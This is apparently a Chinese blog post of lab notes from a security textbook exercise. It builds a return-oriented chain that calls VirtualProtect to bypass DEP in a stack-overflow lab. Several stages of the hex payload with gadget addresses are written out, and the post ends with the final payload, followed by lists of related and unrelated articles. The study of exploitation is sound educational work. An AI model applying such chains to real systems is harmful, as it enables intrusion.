这几天做了NSCTF和GCTF,耽误了几天,今天继续。

  这次绕过DEP的方法是利用VirtualProtect函数将shellcode所在的内存属性改成可执行状态就可以绕过DEP了。

  首先看一下VirtualProtect函数的参数说明:

  

  lpAddress: 改变属性的内存起始起止

  dwSize: 要改变属性的内存的起始地址

  flNewProtect: 需要设置的内存的新属性,这里设置为0x40就行,可读可写可执行

  pflOldProtest: 内存原始属性类型保存地址,根据实验书上的意思这里的内存地址只要保证可写就行,其他没要求

  首先看一下VirtualProtectEx函数在内存的位置,在我的机器上地址是0x7c801ae7:

  

  可以看到4个参数的地址是以EBP定位的,所以EBP的地址在堆栈布置中尤为重要。

  首先看一下程序溢出时的堆栈和寄存器情况:

 

  可以看到EIP的地址是0x0012fe0, EBP也被覆盖成了0x90909091,先想到把EBP的值修复,看到ESP的值正常,找push esp; pop ebp 的地址:

"\x90\x90\x90\x90"
"\xff\x38\xf2\x77" //修正ebp
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"

  修正EBP以后重新运行:

  看到已经执行完push esp; pop ebp; retn 4; 现在esp=0x0013febc, ebp=0x0013feb4, 可以看到中间差了8个字节,eip=0x90909093, 也就是0x0013feb4处。现在ebp的值已经确定了,ebp+0x14=0x0013fec8, ebp+0x8=0x0013febc, ebp+0x14和ebp+0x8是需要动态确定的地址,现在esp指向0x0013febc, 让esp指向0x0013fec8的指令首先想到的就是pop r32; pop r32; pop r32; 通过3个出栈到达使esp=0x0013fec8,这样可以将ebp+0x14这个参数设置好;现在的esp正好指向ebp+0x8的位置,也就是改变属性的内存起始起止的lpAddress,可以先将esp向高位移动4字节如何用push esp指令压榨,设置好lpAddress,把esp向下移动4字节的指令是retn指令,因为retn = pop eip; add esp, 0x4。随便找个retn指令的地址填在0x0013feb4就行:

“\x90\x90\x90\x90"
"\xff\x38\xf2\x77" //修正ebp
"\xcb\x2f\x94\x7c" //retn
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"

  程序重新运行,执行完retn指令以后,堆栈:

  

  现在eip=0x90909095, esp=ebp+0xC, 直接push esp, 就可以设置好ebp+0x8, 但是push esp以后直接retn的话会将0x0013fec0弹给eip,则程序会到0x0013fec0取指令,这在DEP没有关闭的情况下显然不能执行,所以书中采用了jmp eax的方法。现在eax=0x0013fdfc, 需要控制eax的值,eax的值指向pop r32; pop r32; pop r32; retn ; 指令的地址就可以顺利到达比ebp+0x14高4字节的位置。如何将pop3的指令地址给eax, 注意刚开始发生溢出时eip=0x90909092, esp在eip的高位4字节处,故可以这样布置堆栈: 

"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop3 retn

  现在shellcode的流程首先将pop3 retn的地址给eax,在修正ebp, 执行之前的运行流程:

"\x90\x90\x90\x90"
"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" //修正ebp
"\xcb\x2f\x94\x7c" //retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" //push esp jmp eax
"\x96\x90\x90\x90"

  pop eax; retn 后,esp指向retn的地址,eip指向修正ebp的地址,从而执行之前设置好的运行流程。由于在修正ebp之前加了2个地址,导致ebp的地址发生了变化,看看经过了pop pop pop之后堆栈和寄存器的情况

  push esp; jmp eax; 指令将0x0012fec8这个地址压入了ebp+0x8之后,跳转到eax的地址执行,eax指向pop pop pop 的地址,经过3次pop之后,esp最终指向ebp+0x14,在经过一次retn之后,将ebp+0x14指向的地址赋给eip,同时esp向高址移动4字节,接下来一个push esp的指令就可以成功设置ebp+0x14的参数,这里唯一需要注意的是查找3次pop指令时不能修改esp和ebp的值。所以在执行完pop pop pop retn之后,接下来执行push esp指令,push esp执行完以后,此时esp指向ebp+0x14,需要增大esp的值,因为在执行VirtualProtectEx需要进行压栈操作,不能破坏esp+0x8--esp+0x14的堆栈区域,很巧妙的一点就是可以继续利用之前的push esp; jmp eax的指令,push esp结束布置好VirtualProtectEx的参数以后,执行pop pop pop retn指令,可以将esp向高址移动16个字节,不至于影响已经布置好的堆栈。

"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" // 修正ebp
"\xcb\x2f\x94\x7c" // retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xff\x00\x00\x00"
"\x40\x00\x00\x00"
"\xc6\xc6\xeb\x77" // push esp jmp eax

  第二次执行完pop pop pop retn以后,就可以跳到VirtualProtect的入口处,最终的shellcode布置:

"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" // 修正ebp
"\xcb\x2f\x94\x7c" // retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xff\x00\x00\x00"
"\x40\x00\x00\x00"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xd9\x1a\x80\x7c" // VitualProtect

                                                2015/9/27

                                                                                                          11:49

Ret2Libc 练习(2) -- VirtualProtect的更多相关文章

  1. OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()

    一,通过 VirutalProtect() 修改内存属性绕过 DEP DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中 ...

  2. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

  3. OD: DEP & Ret2Libc

    Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷. DEP 的原理是将数据所在的内存页(默认的堆.各种堆栈页.内存池页)标记为不可执行, ...

  4. Ret2Libc 练习(1) -- ZwSetInformationProcess

    花了两个小半晚上的时间将0day安全这本书的绕过DEP的第一个实验做了,这里做些笔记. Ret2libc 我现在自己的理解就是在开启DEP保护的情况下,在程序的其他的可执行位置找到可以满足我利用要求的 ...

  5. 黑窗口输入确定数字弹MessageBox(VirtualProtect())

    今天有人说到这个就想的弹一下,刚开始弄了一下,发现内存访问有问题想到可能与读写保护有关,所以用了VirtualProtect函数,得到了正确结果 网上这个小东西我自己没发现,就贴一下.. void m ...

  6. 缓冲区溢出基础实践(一)——shellcode 与 ret2libc

    最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...

  7. Linux下利用Ret2Libc绕过DEP

    Linux下利用Ret2Libc绕过DEP ⑴.  原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...

  8. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  9. Rop实战之利用VirtualProtect绕过DEP

    CVE-2011-0065 Firefox mChannel UAF漏洞 为了实现任意代码执行,需要在mChannel对象释放后,用可控数据“占坑”填充它,因此,可在onChannelRedirect ...

随机推荐

  1. 简单几句话总结Unicode,UTF-8和UTF-16

    概念 先说一说基本的概念,这包括什么是Unicode,什么是UTF-8,什么是UTF-16. Unicode,UTF-8,UTF-16完整的说明请参考Wiki(Unicode,UTF-8,UTF-16 ...

  2. Total Commander 8.52 Beta 1

    Total Commander 8.52 Beta 1http://www.ghisler.com/852_b1.php 10.08.15 Release Total Commander 8.52 b ...

  3. 在浏览器地址栏前添加自定义的ico图标

    首先,我们需要预先制作一个图标文件,大小为16*16像素.文件扩展名为ico,然后上传到相应目录中. 在HTML源文件“<head></head>”之间添加如下代码: < ...

  4. 查询SQLSERVER执行过的SQL记录

    SELECT TOP 1000 --创建时间 QS.creation_time, --查询语句 SUBSTRING(ST.text,(QS.statement_start_offset/2)+1, ( ...

  5. 移动混合开发之android文件管理demo

    框架采用cordova,android编译环境为android studio.系统为mac,cordova 环境搭建参考网址:http://cordova.apache.org/docs/en/5.0 ...

  6. c++虚函数和内联构造函数

    创建一个含有虚函数的对象时, 编译器会实现 "初始化其VPTR以指向相应的VTABLE" 这个操作 ,而实现这个操作是通过 "插入隐藏代码至构造函数中" 故此时 ...

  7. Controller的创建

    在ControllerBuilder类中设置ControllerFactory,然后使用ControllerFactory创建Controller. http请求在进入httphandler映射处理时 ...

  8. Three.js资源

    学习教程:http://www.hewebgl.com/ 例子:http://threejs.org/

  9. 电子表格控件Spreadsheet 对象方法事件详细介绍

    1.ActiveCell:返回代表活动单元格的Range只读对象.2.ActiveSheet:返回代表活动工作表的WorkSheet只读对象.3.ActiveWindow:返回表示当前窗口的Windo ...

  10. 【转】VS2010安装后出现无法使用帮助的解决方案

    安装完VS2010后 再安装MSDN 打开“Help Library 管理器 - Microsoft Help 查看器 1.0” 提示“请为本地内容选择位置” 默认的位置是在“C:/Documents ...